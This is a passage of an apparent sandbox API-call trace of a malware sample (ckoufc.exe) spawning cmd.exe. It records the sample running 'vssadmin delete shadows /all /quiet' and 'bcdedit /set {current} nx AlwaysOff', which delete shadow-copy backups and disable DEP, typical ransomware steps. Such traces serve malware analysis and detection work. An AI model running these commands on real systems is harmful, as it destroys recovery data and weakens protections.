0x287e2909420 [0051.773] SetErrorMode (uMode=0x0) returned 0x0 [0051.773] SetErrorMode (uMode=0x1) returned 0x0 [0051.773] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x287e2909430, lpFilePart=0xe72c4fed00 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe72c4fed00*="Desktop") returned 0x17 [0051.773] SetErrorMode (uMode=0x0) returned 0x1 [0051.773] GetProcessHeap () returned 0x287e28f0000 [0051.773] RtlReAllocateHeap (Heap=0x287e28f0000, Flags=0x0, Ptr=0x287e2909420, Size=0x5a) returned 0x287e2909420 [0051.773] GetProcessHeap () returned 0x287e28f0000 [0051.773] RtlSizeHeap (HeapHandle=0x287e28f0000, Flags=0x0, MemoryPointer=0x287e2909420) returned 0x5a [0051.773] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.773] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0051.773] GetProcessHeap () returned 0x287e28f0000 [0051.773] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x1bc) returned 0x287e28f6b90 [0051.773] GetProcessHeap () returned 0x287e28f0000 [0051.773] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x368) returned 0x287e28f6d60 [0051.778] GetProcessHeap () returned 0x287e28f0000 [0051.778] RtlReAllocateHeap (Heap=0x287e28f0000, Flags=0x0, Ptr=0x287e28f6d60, Size=0x1be) returned 0x287e28f6d60 [0051.778] GetProcessHeap () returned 0x287e28f0000 [0051.778] RtlSizeHeap (HeapHandle=0x287e28f0000, Flags=0x0, MemoryPointer=0x287e28f6d60) returned 0x1be [0051.778] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.778] GetProcessHeap () returned 0x287e28f0000 [0051.778] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xe8) returned 0x287e28f6f30 [0051.778] GetProcessHeap () returned 0x287e28f0000 [0051.778] RtlReAllocateHeap (Heap=0x287e28f0000, Flags=0x0, Ptr=0x287e28f6f30, Size=0x7e) returned 0x287e28f6f30 [0051.778] GetProcessHeap () returned 0x287e28f0000 [0051.778] RtlSizeHeap (HeapHandle=0x287e28f0000, Flags=0x0, MemoryPointer=0x287e28f6f30) returned 0x7e [0051.778] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.778] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0xe72c4fea70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe72c4fea70) returned 0xffffffffffffffff [0051.778] GetLastError () returned 0x2 [0051.778] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0xe72c4fea70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe72c4fea70) returned 0xffffffffffffffff [0051.778] GetLastError () returned 0x2 [0051.778] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.779] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0xe72c4fea70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe72c4fea70) returned 0xffffffffffffffff [0051.779] GetLastError () returned 0x2 [0051.779] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0xe72c4fea70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe72c4fea70) returned 0xffffffffffffffff [0051.779] GetLastError () returned 0x2 [0051.779] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.779] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0xe72c4fea70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe72c4fea70) returned 0x287e28f6fc0 [0051.779] GetProcessHeap () returned 0x287e28f0000 [0051.779] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x0, Size=0x28) returned 0x287e28f7020 [0051.779] FindClose (in: hFindFile=0x287e28f6fc0 | out: hFindFile=0x287e28f6fc0) returned 1 [0051.779] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0051.779] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0051.779] ??_V@YAXPEAX@Z () returned 0x1 [0051.779] GetConsoleTitleW (in: lpConsoleTitle=0xe72c4feff0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.833] InitializeProcThreadAttributeList (in: lpAttributeList=0xe72c4fef10, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xe72c4fee00 | out: lpAttributeList=0xe72c4fef10, lpSize=0xe72c4fee00) returned 1 [0051.833] UpdateProcThreadAttribute (in: lpAttributeList=0xe72c4fef10, dwFlags=0x0, Attribute=0x60001, lpValue=0xe72c4fedec, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xe72c4fef10, lpPreviousValue=0x0) returned 1 [0051.833] GetStartupInfoW (in: lpStartupInfo=0xe72c4feea0 | out: lpStartupInfo=0xe72c4feea0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0051.833] GetProcessHeap () returned 0x287e28f0000 [0051.833] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x20) returned 0x287e28f6fc0 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0051.833] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0051.834] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0051.834] GetProcessHeap () returned 0x287e28f0000 [0051.834] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e28f6fc0) returned 1 [0051.834] GetProcessHeap () returned 0x287e28f0000 [0051.834] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0x12) returned 0x287e28f6fc0 [0051.834] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0051.835] _get_osfhandle (_FileHandle=1) returned 0xc [0051.835] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0051.847] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.847] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0052.028] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xe72c4fee30*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe72c4fee08 | out: lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0xe72c4fee08*(hProcess=0x9c, hThread=0x98, dwProcessId=0xdec, dwThreadId=0x7ec)) returned 1 [0052.888] CloseHandle (hObject=0x98) returned 1 [0052.888] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0052.888] GetProcessHeap () returned 0x287e28f0000 [0052.888] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e28f88a0) returned 1 [0052.888] GetEnvironmentStringsW () returned 0x287e28f7d00* [0052.889] GetProcessHeap () returned 0x287e28f0000 [0052.889] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xb7e) returned 0x287e28f8890 [0052.889] FreeEnvironmentStringsA (penv="=") returned 1 [0052.889] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0061.221] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xe72c4fed88 | out: lpExitCode=0xe72c4fed88*=0x2) returned 1 [0061.221] CloseHandle (hObject=0x9c) returned 1 [0061.222] _vsnwprintf (in: _Buffer=0xe72c4fef58, _BufferCount=0x13, _Format="%08X", _ArgList=0xe72c4fed98 | out: _Buffer="00000002") returned 8 [0061.222] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0061.222] GetProcessHeap () returned 0x287e28f0000 [0061.222] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e28f8890) returned 1 [0061.222] GetEnvironmentStringsW () returned 0x287e28f7d00* [0061.222] GetProcessHeap () returned 0x287e28f0000 [0061.223] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xba4) returned 0x287e290a040 [0061.223] FreeEnvironmentStringsA (penv="=") returned 1 [0061.223] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0061.223] GetProcessHeap () returned 0x287e28f0000 [0061.223] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e290a040) returned 1 [0061.223] GetEnvironmentStringsW () returned 0x287e28f7d00* [0061.223] GetProcessHeap () returned 0x287e28f0000 [0061.223] RtlAllocateHeap (HeapHandle=0x287e28f0000, Flags=0x8, Size=0xba4) returned 0x287e290a040 [0061.223] FreeEnvironmentStringsA (penv="=") returned 1 [0061.223] GetProcessHeap () returned 0x287e28f0000 [0061.223] RtlFreeHeap (HeapHandle=0x287e28f0000, Flags=0x0, BaseAddress=0x287e28f6fc0) returned 1 [0061.223] DeleteProcThreadAttributeList (in: lpAttributeList=0xe72c4fef10 | out: lpAttributeList=0xe72c4fef10) [0061.223] ??_V@YAXPEAX@Z () returned 0x1 [0061.223] _get_osfhandle (_FileHandle=1) returned 0xc [0061.223] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0061.226] _get_osfhandle (_FileHandle=1) returned 0xc [0061.226] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0061.235] _get_osfhandle (_FileHandle=1) returned 0xc [0061.235] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0061.263] _get_osfhandle (_FileHandle=0) returned 0x8 [0061.263] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0061.275] SetConsoleInputExeNameW () returned 0x1 [0061.275] GetConsoleOutputCP () returned 0x1b5 [0061.284] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0061.284] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.286] exit (_Code=2) Thread: id = 21 os_tid = 0xf78 Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x372a6000" os_pid = "0xd24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x47c" cmd_line = "/C bcdedit.exe /set {current} nx AlwaysOff" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 16 os_tid = 0xd60 [0050.181] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b8240000 [0050.181] __set_app_type (_Type=0x1) [0050.181] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7b8256d00) returned 0x0 [0050.181] __getmainargs (in: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210, _DoWildCard=0, _StartInfo=0x7ff7b827921c | out: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210) returned 0 [0050.181] _onexit (_Func=0x7ff7b8257fd0) returned 0x7ff7b8257fd0 [0050.181] _onexit (_Func=0x7ff7b8257fe0) returned 0x7ff7b8257fe0 [0050.181] _onexit (_Func=0x7ff7b8257ff0) returned 0x7ff7b8257ff0 [0050.181] _onexit (_Func=0x7ff7b8258000) returned 0x7ff7b8258000 [0050.182] _onexit (_Func=0x7ff7b8258010) returned 0x7ff7b8258010 [0050.182] _onexit (_Func=0x7ff7b8258020) returned 0x7ff7b8258020 [0050.182] GetCurrentThreadId () returned 0xd60 [0050.182] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd60) returned 0x7c [0050.182] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0050.182] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0050.182] SetThreadUILanguage (LangId=0x0) returned 0x409 [0050.430] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0050.430] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x6bf50ffa58 | out: phkResult=0x6bf50ffa58*=0x0) returned 0x2 [0050.430] VirtualQuery (in: lpAddress=0x6bf50ffa44, lpBuffer=0x6bf50ff9c0, dwLength=0x30 | out: lpBuffer=0x6bf50ff9c0*(BaseAddress=0x6bf50ff000, AllocationBase=0x6bf5000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.430] VirtualQuery (in: lpAddress=0x6bf5000000, lpBuffer=0x6bf50ff9c0, dwLength=0x30 | out: lpBuffer=0x6bf50ff9c0*(BaseAddress=0x6bf5000000, AllocationBase=0x6bf5000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.430] VirtualQuery (in: lpAddress=0x6bf5001000, lpBuffer=0x6bf50ff9c0, dwLength=0x30 | out: lpBuffer=0x6bf50ff9c0*(BaseAddress=0x6bf5001000, AllocationBase=0x6bf5000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.430] VirtualQuery (in: lpAddress=0x6bf5004000, lpBuffer=0x6bf50ff9c0, dwLength=0x30 | out: lpBuffer=0x6bf50ff9c0*(BaseAddress=0x6bf5004000, AllocationBase=0x6bf5000000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.430] VirtualQuery (in: lpAddress=0x6bf5100000, lpBuffer=0x6bf50ff9c0, dwLength=0x30 | out: lpBuffer=0x6bf50ff9c0*(BaseAddress=0x6bf5100000, AllocationBase=0x6bf5100000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.430] GetConsoleOutputCP () returned 0x1b5 [0050.674] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0050.674] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7b8268150, Add=1) returned 1 [0050.674] _get_osfhandle (_FileHandle=1) returned 0xc [0050.674] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc04 | out: lpMode=0x7ff7b827fc04) returned 1 [0050.812] _get_osfhandle (_FileHandle=0) returned 0x8 [0050.812] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc00 | out: lpMode=0x7ff7b827fc00) returned 1 [0050.892] _get_osfhandle (_FileHandle=1) returned 0xc [0050.892] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0051.046] _get_osfhandle (_FileHandle=1) returned 0xc [0051.046] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0051.134] _get_osfhandle (_FileHandle=1) returned 0xc [0051.134] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0051.175] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.175] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0051.252] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.252] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0051.452] GetEnvironmentStringsW () returned 0x194ab2f5af0* [0051.452] GetProcessHeap () returned 0x194ab2f0000 [0051.452] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xb2e) returned 0x194ab2f6630 [0051.452] FreeEnvironmentStringsA (penv="A") returned 1 [0051.452] GetProcessHeap () returned 0x194ab2f0000 [0051.452] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x8) returned 0x194ab2f5af0 [0051.452] GetEnvironmentStringsW () returned 0x194ab2f7170* [0051.452] GetProcessHeap () returned 0x194ab2f0000 [0051.452] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xb2e) returned 0x194ab2f7cb0 [0051.452] FreeEnvironmentStringsA (penv="A") returned 1 [0051.452] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6bf50fe908 | out: phkResult=0x6bf50fe908*=0x88) returned 0x0 [0051.452] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x0, lpData=0x6bf50fe920*=0x4, lpcbData=0x6bf50fe904*=0x1000) returned 0x2 [0051.452] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x4, lpData=0x6bf50fe920*=0x1, lpcbData=0x6bf50fe904*=0x4) returned 0x0 [0051.452] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x0, lpData=0x6bf50fe920*=0x1, lpcbData=0x6bf50fe904*=0x1000) returned 0x2 [0051.452] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x4, lpData=0x6bf50fe920*=0x0, lpcbData=0x6bf50fe904*=0x4) returned 0x0 [0051.452] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x4, lpData=0x6bf50fe920*=0x40, lpcbData=0x6bf50fe904*=0x4) returned 0x0 [0051.452] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x4, lpData=0x6bf50fe920*=0x40, lpcbData=0x6bf50fe904*=0x4) returned 0x0 [0051.453] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x0, lpData=0x6bf50fe920*=0x40, lpcbData=0x6bf50fe904*=0x1000) returned 0x2 [0051.453] RegCloseKey (hKey=0x88) returned 0x0 [0051.453] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6bf50fe908 | out: phkResult=0x6bf50fe908*=0x88) returned 0x0 [0051.453] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x0, lpData=0x6bf50fe920*=0x40, lpcbData=0x6bf50fe904*=0x1000) returned 0x2 [0051.453] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x4, lpData=0x6bf50fe920*=0x1, lpcbData=0x6bf50fe904*=0x4) returned 0x0 [0051.453] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x0, lpData=0x6bf50fe920*=0x1, lpcbData=0x6bf50fe904*=0x1000) returned 0x2 [0051.453] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x4, lpData=0x6bf50fe920*=0x0, lpcbData=0x6bf50fe904*=0x4) returned 0x0 [0051.453] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x4, lpData=0x6bf50fe920*=0x9, lpcbData=0x6bf50fe904*=0x4) returned 0x0 [0051.453] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x4, lpData=0x6bf50fe920*=0x9, lpcbData=0x6bf50fe904*=0x4) returned 0x0 [0051.453] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6bf50fe900, lpData=0x6bf50fe920, lpcbData=0x6bf50fe904*=0x1000 | out: lpType=0x6bf50fe900*=0x0, lpData=0x6bf50fe920*=0x9, lpcbData=0x6bf50fe904*=0x1000) returned 0x2 [0051.453] RegCloseKey (hKey=0x88) returned 0x0 [0051.453] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce7051d [0051.453] srand (_Seed=0x5ce7051d) [0051.453] GetCommandLineW () returned="/C bcdedit.exe /set {current} nx AlwaysOff" [0051.453] malloc (_Size=0x4000) returned 0x194ab5a55a0 [0051.453] GetCommandLineW () returned="/C bcdedit.exe /set {current} nx AlwaysOff" [0051.453] malloc (_Size=0xffce) returned 0x194ab3f0080 [0051.454] ??_V@YAXPEAX@Z () returned 0x194ab3f0080 [0051.454] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x194ab3f0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.454] malloc (_Size=0xffce) returned 0x194ab400060 [0051.454] ??_V@YAXPEAX@Z () returned 0x194ab400060 [0051.455] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x194ab400060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0051.455] GetEnvironmentVariableW (in: 